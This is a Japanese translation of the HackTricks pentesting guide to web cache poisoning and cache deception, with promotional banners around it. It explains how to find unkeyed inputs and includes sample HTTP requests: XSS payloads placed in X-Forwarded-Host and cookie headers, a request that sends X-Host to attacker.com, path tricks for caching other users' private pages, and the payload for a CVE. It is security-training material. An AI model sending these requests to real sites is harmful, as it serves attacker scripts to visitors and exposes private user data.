hacktricks/pentesting-web/cache-deception/README.md

258 lines
24 KiB
Markdown
Raw Normal View History

# キャッシュ毒入りとキャッシュ欺瞞
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details>
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 違い
> **Webキャッシュ毒入りとWebキャッシュ欺瞞の違いは何ですか**
>
> - **Webキャッシュ毒入り**では、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、このコンテンツがキャッシュから他のアプリケーションユーザーに提供されます。
> - **Webキャッシュ欺瞞**では、攻撃者はアプリケーションに別のユーザーに属する機密コンテンツをキャッシュに保存させ、その後、このコンテンツをキャッシュから取得します。
## キャッシュ毒入り
キャッシュ毒入りは、クライアントサイドのキャッシュを操作して、クライアントが予期しない、部分的な、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、汚染されたキャッシュ期間中にページを訪れるユーザーにのみ汚染された応答が提供されるため、影響を受けるページの人気度に依存します。
キャッシュ毒入り攻撃の実行には、いくつかのステップが含まれます:
1. **キーのない入力の特定**:これらは、リクエストがキャッシュされるために必要ではないが、サーバーから返される応答を変更できるパラメータです。これらの入力を特定することは重要です。なぜなら、これらを悪用してキャッシュを操作することができるからです。
2. **キーのない入力の悪用**:キーのない入力を特定した後、次のステップは、これらのパラメータをどのように悪用して攻撃者に利益をもたらすようにサーバーの応答を変更するかを理解することです。
3. **毒入り応答がキャッシュされることを確認**:最後のステップは、操作された応答がキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするすべてのユーザーが汚染された応答を受け取ります。
### 発見HTTPヘッダーをチェック
通常、応答が**キャッシュに保存されている**場合、それを示す**ヘッダーがあります**。どのヘッダーに注意を払うべきかを確認するには、この投稿を参照してください:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
### 発見:キャッシュエラーコードをチェック
応答がキャッシュに保存されていると思われる場合、**悪いヘッダーを送信**して、**ステータスコード400**で応答されるはずです。その後、通常通りリクエストにアクセスし、**応答が400ステータスコード**である場合、脆弱性があることがわかりますDoS攻撃さえ実行できます
詳細なオプションは次で見つけることができます:
{% content-ref url="cache-poisoning-to-dos.md" %}
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
{% endcontent-ref %}
ただし、**この種のステータスコードがキャッシュされていない場合がある**ため、このテストは信頼性がないかもしれません。
### 発見:キーのない入力を特定および評価
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、ページの応答を変更する可能性のある**パラメータやヘッダーをブルートフォース**することができます。たとえば、ページがクライアントにスクリプトをそこから読み込むように指示するヘッダー`X-Forwarded-For`を使用しているかもしれません。
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### 有害な応答をバックエンドサーバーから引き出す
特定されたパラメータ/ヘッダーを確認し、それがどのように**無害化**されているか、どこで**反映**されているか、またはヘッダーからの応答にどのように影響を与えているかを確認します。それを悪用できますかXSSを実行したり、あなたが制御するJSコードを読み込んだりしますかDoSを実行しますか...
### 応答をキャッシュする
悪用できる**ページ**を特定し、どの**パラメータ**/**ヘッダー**を使用し、どのように**悪用**するかを特定したら、ページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、時間がかかる場合があります。数秒間試行する必要があるかもしれません。\
応答のヘッダー**`X-Cache`**は非常に役立つ可能性があります。リクエストがキャッシュされていない場合は値が**`miss`**になり、キャッシュされている場合は値が**`hit`**になります。\
ヘッダー**`Cache-Control`**も興味深い情報です。リソースがキャッシュされているかどうか、次にリソースが再度キャッシュされる予定の時間を知ることができます:`Cache-Control: public, max-age=1800`\
もう1つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーにならないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すことがよくあります。したがって、攻撃対象の被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用するユーザーのキャッシュを毒化することができます。\
キャッシュに関連するもう1つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに格納されている時間を秒単位で定義します。
リクエストをキャッシュする際には、使用するヘッダーに**注意**してください。いくつかのヘッダーは**予期せず使用**される可能性があるため、**被害者は同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して機能しているか確認してください。
## 悪用の例
### 最も簡単な例
`X-Forwarded-For`のようなヘッダーが無害化されずに応答に反映されています。\
基本的なXSSペイロードを送信し、キャッシュを毒化してページにアクセスするすべてのユーザーがXSSを受けるようにします
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Note that this will poison a request to `/en?region=uk` not to `/en`_
### キャッシュ毒化によるDoS
{% content-ref url="cache-poisoning-to-dos.md" %}
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
{% endcontent-ref %}
### クッキー処理の脆弱性を悪用するためのWebキャッシュ毒化の使用
クッキーはページのレスポンスにも反映される可能性があります。たとえば、XSSを引き起こすために悪用できる場合、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを悪用することができるかもしれません。
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
### パストラバーサルを使用してAPIキーを盗むためのキャッシュ毒性
[**この解説**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)では、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLでOpenAI APIキーを盗むことが可能であったことが説明されています。`/share/*` に一致するものはCloudflareがURLを正規化せずにキャッシュするため、Webサーバーにリクエストが到達したときに行われたことです。
### 複数のヘッダーを使用してWebキャッシュ毒性の脆弱性を悪用する
**時には、複数のキーのない入力を悪用する必要があります**。たとえば、`X-Forwarded-Host` を自分が制御するドメインに設定し、`X-Forwarded-Scheme` を `http` に設定すると、**Open redirect** を見つけることができるかもしれません。**サーバー**がすべての**HTTP**リクエストを**HTTPS**に転送し、リダイレクトのドメイン名としてヘッダー `X-Forwarded-Scheme` を使用している場合、リダイレクト先を制御できます。
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### 限られた `Vary` ヘッダーを利用した攻撃
もし、**`X-Host`** ヘッダーが**ドメイン名をJSリソースをロードするために使用**されていることがわかったが、レスポンスの中の**`Vary`** ヘッダーが**`User-Agent`** を示している場合、被害者のUser-Agentを外部に送信し、そのUser-Agentを使用してキャッシュを改ざんする方法を見つける必要があります
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Fat Get
URLとボディの両方にリクエストを含めてGETリクエストを送信します。ウェブサーバーがボディからのものを使用している場合でも、キャッシュサーバーがURLからのものをキャッシュしていると、そのURLにアクセスする誰もが実際にはボディからのパラメータを使用します。GitHubのウェブサイトでJames Kettleが見つけた脆弱性のように。
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
```
### パラメータクローキング
たとえば、**`&`** の代わりに **`;`** 文字を使用して、rubyサーバーで**パラメータ**を分離することが可能です。これにより、キー付きのパラメータ値の中にキーのないパラメータ値を入れて悪用することができます。
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### HTTPリクエストスマグリングを悪用してHTTPキャッシュポイズニングを行う
[HTTPリクエストスマグリングを悪用してキャッシュポイズニング攻撃を実行する方法](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)についてこちらで学びます。
### Webキャッシュポイズニングの自動テスト
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、Webキャッシュポイズニングを自動的にテストすることができます。多くの異なる技術をサポートし、高度にカスタマイズ可能です。
使用例: `wcvs -u example.com`
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 脆弱な例
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATSはURL内のフラグメントを削除せずに転送し、キャッシュキーをホスト、パス、およびクエリのみを使用して生成しましたフラグメントを無視。そのため、リクエスト `/#/../?r=javascript:alert(1)` はバックエンドに `/#/../?r=javascript:alert(1)` として送信され、キャッシュキーにはペイロードが含まれず、ホスト、パス、およびクエリのみが含まれていました。
### GitHub CP-DoS
コンテンツタイプヘッダーに誤った値を送信すると、405のキャッシュされた応答がトリガーされました。キャッシュキーにはクッキーが含まれていたため、認証されていないユーザーのみを攻撃することが可能でした。
### GitLab + GCP CP-DoS
GitLabは静的コンテンツを保存するためにGCPバケットを使用していました。**GCPバケット**は **`x-http-method-override`** ヘッダーをサポートしていました。そのため、ヘッダー `x-http-method-override: HEAD` を送信し、キャッシュを毒化して空の応答本体を返すことが可能でした。また、メソッド `PURGE` もサポートしていました。
### Rack Middleware (Ruby on Rails)
Ruby on Railsアプリケーションでは、Rackミドルウェアがよく使用されます。Rackコードの目的は、**`x-forwarded-scheme`** ヘッダーの値を取得し、リクエストのスキームとして設定することです。ヘッダー `x-forwarded-scheme: http` が送信されると、同じ場所への301リダイレクトが発生し、そのリソースへのサービス拒否DoSが発生する可能性があります。さらに、アプリケーションは `X-forwarded-host` ヘッダーを認識し、ユーザーを指定されたホストにリダイレクトすることがあります。この動作は、攻撃者のサーバーからJavaScriptファイルを読み込む可能性があり、セキュリティリスクを引き起こす可能性があります。
### 403とストレージバケット
以前、Cloudflareは403応答をキャッシュしていました。不正なAuthorizationヘッダーでS3やAzure Storage Blobsにアクセスしようとすると、403応答がキャッシュされました。Cloudflareは403応答のキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。
### キー付きパラメータの注入
キャッシュには、キャッシュキーに特定のGETパラメータが含まれることがよくあります。たとえば、FastlyのVarnishはリクエストの `size` パラメータをキャッシュしました。ただし、URLエンコードされたパラメータのバージョンたとえば、`siz%65`)が誤った値とともに送信された場合、キャッシュキーは正しい `size` パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の `size` パラメータをURLエンコードすると、キャッシュには省略されますが、バックエンドには利用されます。このパラメータに値0を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生します。
### ユーザーエージェントルール
一部の開発者は、サーバー負荷を管理するために、高トラフィックツールFFUFやNucleiなどと一致するユーザーエージェントを持つリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を導入する可能性があります。
### 不正なヘッダーフィールド
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) はヘッダー名に許容される文字を指定しています。指定された **tchar** 範囲外の文字を含むヘッダーは理想的には400 Bad Request応答をトリガーするはずです。実際には、サーバーは常にこの標準に従うわけではありません。Akamaiは、`cache-control` ヘッダーが存在しない限り、無効な文字を含むヘッダーを転送し、400エラーをキャッシュします。`\` のような無効な文字を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生する可能性があります。
### 新しいヘッダーの検出
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## キャッシュ欺瞞
キャッシュ欺瞞の目的は、クライアントが**キャッシュに保存されるリソースをロードし、それらの機密情報を持つ**リソースをロードすることです。
まず、`.css`、`.js`、`.png`などの**拡張子**は通常、**キャッシュに保存**されるように**構成**されています。したがって、`www.example.com/profile.php/nonexistent.js` にアクセスすると、応答がキャッシュされる可能性があります。なぜなら、`.js` **拡張子**が見えるからです。しかし、**アプリケーション**が _www.example.com/profile.php_ に保存されている**機密**ユーザー内容を**再生**している場合、他のユーザーからその内容を**盗む**ことができます。
他にテストすること:
* _www.example.com/profile.php/.js_
* _www.example.com/profile.php/.css_
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
* _`.avif`**などのあまり知られていない拡張子を使用します。
別の非常に明確な例は、この解説で見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
この例では、_http://www.example.com/home.php/non-existent.css_ のような存在しないページをロードすると、_http://www.example.com/home.php_**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存します。\
その後、**攻撃者**は自分のブラウザで _http://www.example.com/home.php/non-existent.css_ にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察することができます。
**キャッシュプロキシ**は、ファイルを**拡張子**_.css_に基づいてキャッシュするように**構成**されている必要があることに注意してください。例では、_http://www.example.com/home.php/non-existent.css_ は `text/css` MIMEタイプ_.css_ファイルに期待されるものではなく、`text/html` コンテンツタイプを持っています。
## 自動ツール
* [**toxicache**](https://github.com/xhzeem/toxicache): Golangスキャナーは、URLのリスト内でWebキャッシュ毒性の脆弱性を見つけ、複数のインジェクション技術をテストします。
## 参考文献
* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
* [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
* [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>